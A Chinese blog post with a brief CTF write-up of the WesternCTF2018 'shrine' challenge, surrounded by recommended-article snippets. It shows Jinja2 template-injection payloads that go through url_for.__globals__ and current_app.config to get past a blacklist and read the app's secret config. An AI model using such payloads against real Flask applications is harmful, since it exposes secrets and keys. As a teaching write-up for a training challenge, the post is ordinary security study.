模板注入 [WesternCTF2018]shrine1

最新推荐文章于 2024-07-18 16:53:02 发布
最新推荐文章于 2024-07-18 16:53:02 发布
阅读量386 收藏 8
点赞数 11
文章标签： 安全
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/m0_75178803/article/details/136264690
版权
本文描述了一次对Flask应用的安全审计过程中发现的漏洞，包括FLAG配置文件的潜在泄露，flask-jinja2模板注入问题，以及通过url_for和globals函数绕过黑名单获取flag的过程。
摘要由CSDN通过智能技术生成

打开题目

直接查看源代码

发现注册了一个名为FLAG的config，这里可能有flag，

存在flask-jinja2模板注入，

并且存在黑名单过滤

输入shrine/{{7*7}}验证成功

通过url_for()与globals()函数，绕过黑名单

/shrine/{{url_for.__globals__}}

发现了current_app()函数

查看这个里面的config。

/shrine/{{url_for.__globals__['current_app'].config}}

得到flag

访白鹿
关注
  • 11
    点赞
  • 踩
  • 8
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
34C3 CTF Web题 extract0r Writeup (软链接实现任意读文件/目录+SSRF绕过内网ip黑名单+Gopher攻击MySQL+zip文件构造)
keyball123的博客
03-28 1万+
extract0r – A web challenge from hxp 34C3 CTF https://ctftime.org/event/544 题目部署 本地搭建： https://github.com/shimmeris/CTF-Web-Challenges/tree/master/SSRF/34c3-2017-extract0r 在34c3-2017-extract0r目录下执...
shrine-webdav:提供用于Shrine的简单WebDAV存储
05-11
gem 'shrine-webdav' 用法 假设您具有报告模型，该模型应该能够将数据存储在远程WebDAV存储中。 class Report < ApplicationRecord end # == Schema Information # # Table name: reports # # id :uuid not ...
上传验证绕过全解析
weixin_33941350的博客
04-19 672
目录 0x01 客户端验证绕过(javascript 扩展名检测)0x02 服务端验证绕过(http request 包检测) - Content-type (Mime type) 检测 0x03 服务端验证绕过(扩展名检测) - 黑名单检测 - 白名单检测 - .htaccess 文件攻击 0x04 服务端验证绕过(文件完整性检测) ...
[WesternCTF2018]shrine SSTI 绕过黑名单
m0_64180167的博客
09-19 134
例如 url_for() 或者 get_flashed_messages()我们要注意 这里过滤config和self是因为他们是变量 就会过滤。如何存在safe_jinjia 进行过滤 config 和self。存在 current_app 就是当前app 那么我们访问一下。这里用了 flask 我们就应该想到是 SSTI 模块注入。我们下面的payload中的是属性 所以不会过滤。其中存在/shrine/ 目录。去读取全局变量 如何访问。我们需要使用其他函数。我们先去看看全局变量。
[WesternCTF2018]shrine 1
shinygod的博客
03-21 1532
知识点：flask的ssti 把它排一下（可以在pycharm按ctrl+alt+L然后再调调就好了） import flask import os app = flask.Flask(__name__) app.config['FLAG'] = os.environ.pop('FLAG') #使不知道哪的FLAG赋值给当前app的配置变量FLAG #应该需要我们拿到config的FLAG值 @app.route('/') def index(): return open(__file__)
shrine:使用Shrine项目的MDC的Android模板项目
05-13
SHRINE-Android学习项目MDC-101-MDC-104：适用于Android的材料组件（Java） 您可以使用Shrine作为模板，使用不同的提交以不同的级别启动新的应用程序。 由brucemakallan编辑
shrine-commerce
04-04
1. **Flutter widget 树**：Flutter 应用由 widget 构建，每个 widget 都是一个可配置的 UI 元素。它们按照树形结构组织，形成整个应用的视图层次。 2. **StatefulWidget 和 StatelessWidget**：两种主要的 widget ...
shrine.cr：适用于Crystal应用程序的文件附件工具包。 受神殿Ruby启发
02-05
1. **上传**：Shrine.cr 提供了便捷的API来处理文件上传，允许开发者接收和解析上传的文件，同时提供了错误处理机制。 2. **存储**：该库支持多种存储后端，包括本地文件系统、Amazon S3、Google Cloud Storage等...
Shrine View-crx插件
04-07
"Shrine View-crx插件"是一款专为谷歌浏览器（Chrome）设计的扩展程序，它为用户带来了一种独特的新标签页体验。当用户打开一个新的浏览器标签时，不再是普通的空白页面，而会显示一个随机选取的日本Shinto神社的...
捷配总结的SMT工厂安全防静电规则
tyymm的博客
07-17 505
SMT工厂须熟记的安全防静电规则！ 安全对于我们非常重要，特别是我们这种SMT加工厂，通常我们所讲的安全是指人身安全。 但这里我们须树立一个较为全面的安全常识就是在强调人身安全的同时亦必须注意设备、产品的安全。 电气： 怎样预防人身触电事故？ 1、发现有损坏的开关，电线等电气安全隐患，赶快向有关人员报告处理。2、不懂电气技术的人对电气设备不要乱装、乱拆。3、不要用湿手、湿脚动用电气设备(如: 按开关、按钮)。4、清扫卫生时，不要用湿抹布擦电线、开关按钮，一定要搞卫生，请先断开电
AI安全系列——[第五空间 2022]AI（持续更新）
2201_76139143的博客
07-15 1013
最近很长时间没有更新，其实一直在学习AI安全，我原以为学完深度学习之后再学AI安全会更加简单些，但是事实证明理论转实践还是挺困难的，但是请你一定要坚持下去，因为“不是所有的坚持都有结果，但总有一些坚持，能从冰封的土地里，培育出十万朵怒放的蔷薇”题目来源：NSSCTF题目描述：噪声在大数据场景下有着重要的地位。工程师们苦于被噪声污染的数据，同时也使用噪声保护着隐私数据。这个挑战分为两个部分。挑战1：从噪声中恢复隐私向量有A,B两个实体。其中B是普通实体，A则是恶意攻击者。
OWASP 移动应用 2024 十大安全风险
shendong70的博客
07-14 1241
随着智能手机的快速发展，移动应用已经成为我们日常生活关系最密切的软件应用。开放全球应用程序安全项目（OWASP）基金会，致力于提高软件的安全性。自 2014、2016年发布了移动应用的十大风险后，今年再次发布2024版。这对移动应用软件的检查工具有着重要的指导作用。
浅谈安数云智能安全运营管理平台：DCS-SOAR
2401_82472120的博客
07-15 812
安数云DCS-SOAR平台致力于解决用户云上资产的安全运营问题，面对用户防护设备繁杂臃肿、安全事件难以及时响应、运营成本逐年上升的困境，安数云DCS-SOAR平台以安全大脑驱动为核心，建立运营体系，通过OneStep框架实现第三方安全产品的“无门槛接入、低门槛纳管”；威胁和告警数量不断增长，资源又不足以应对所有问题，在日常运营中，分析人员需要快速决定哪些告警需要处理，哪些可以忽略，但由于超负荷工作，很可能错过真正的威胁，在应对威胁和恶意攻击时出现误判，最终使网络及数据产生安全泄露，造成无可挽回的损失。
飞睿智能UWB Tag蓝牙防丢器标签，宠物安全新升级，5cm精准定位测距不迷路
m0_59195407的博客
07-16 618
这意味着，无论你的宠物是在家中的某个角落捉迷藏，还是在公园的人海中穿梭，飞睿智能UWB Tag都能迅速锁定其位置，让你轻松找到它。想象一下，当晨光初破晓，你带着心爱的宠物踏上晨跑的旅程，手中轻轻握着的，不仅是牵引绳，更是对宠物安全的满满承诺。想象一下，即使在外忙碌，只需轻点手机，就能掌握宠物的一切动态，这种安心与便利，是任何传统防丢手段都无法比拟的。飞睿智能UWB Tag蓝牙防丢器，以其精准的定位、智能的功能、耐用的品质，成为了守护宠物安全的得力助手。用户见证：口碑的力量，爱的传递。
高性能、安全、低碳绿色的趋势下，锐捷网络发布三擎云办公解决方案 3.0
最新发布
CSDN云计算
07-18 606
去确保性能体验流畅。与上一代产品相比，三擎云办公 3.0 新增 130+功能特性，不仅充分对标了主流云桌面平台的核心功能，如热补丁升级与第三方存储和计算平台支持，还通过一系列创新技术，如智能透明加密技术，独享应用虚拟化技术，增强协议技术，智能 IO 调度技术等，在体验、安全、降本、增效等多个维度上展现出差异化优势。近日，锐捷网络重磅发布了三擎云办公解决方案 3.0，针对新趋势下挑战，一口气推出了 130 多项功能特性，希望为用户构建一个集安全、高效、体验于一身，实现成本优化的云桌面办公系统环境。
高效守护：在Eureka中构筑服务的分布式安全防线
2401_85341950的博客
07-15 889
通过上述步骤和代码示例，我们展示了如何在Eureka中实现服务的分布式安全策略。这包括服务认证、授权机制的实现，以及数据传输加密等关键安全措施。Eureka作为服务发现框架，在分布式安全体系中发挥着核心作用。在微服务架构中，服务的安全性不容小觑。通过本文的介绍，我们希望能够帮助读者更好地理解和实现Eureka中的分布式安全策略，确保微服务之间的通信安全，构建一个更加安全、可靠的系统。注意：本文中的代码示例为简化模型，实际应用中应根据具体需求和安全标准进行选择和实现。
数据流通环节如何规避安全风险
goodxianping的专栏
07-15 364
针对国家、行业、地方、企业等不同层级，研究制定差异化的数据流通安全能力框架和管理规范。在数据产权、流通交易、收益分配、安全治理各项具体制度研究制定过程中，明确合规监管底线，分类清理规范不适应数据要素流通发展需要的行政许可、资质资格等事项，为数据流通参与主体的探索提供稳定预期，进一步释放各主体创新活力和内生动力。由于参与数据流通与交易的数据要素资源通常是经过组织加工的高质量数据集，甚至可能涉及国家核心战略利益，一旦发生针对数据流通环节的恶意事件，将造成较大负面影响，对数据要素市场的价值激活造成潜在威胁。
【自学安全防御】二、防火墙NAT智能选路综合实验
qq_63890458的博客
07-13 946
7，办公区设备可以通过电信链路和移动链路上网(多对多的NAT，并且需要保留一个公网IP不能用来转换)8，分公司设备可以通过总公司的移动链路和电信链路访问到Dmz区的http服务器9，多出口环境基于带宽比例进行选路，但是，办公区中10.0.2.10该设备只能通过电信的链路访问互联网。链路开启过载保护，保护阈值80%；10，分公司内部的客户端可以通过域名访问到内部的服务器，公网设备也可以通过域名访问到分公司内部服务器；11，游客区仅能通过移动链路访问互联网。
ARP安全简介
qq_25467441的博客
07-18 441
地址解析协议ARP（Address Resolution Protocol）安全是针对ARP攻击的一种保护特性，通过部署ARP安全的相关特性，不仅能够防范针对ARP协议的攻击，还可以防范网段扫描攻击等基于ARP协议的攻击，保证网络设备和网络通信的安全性。

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值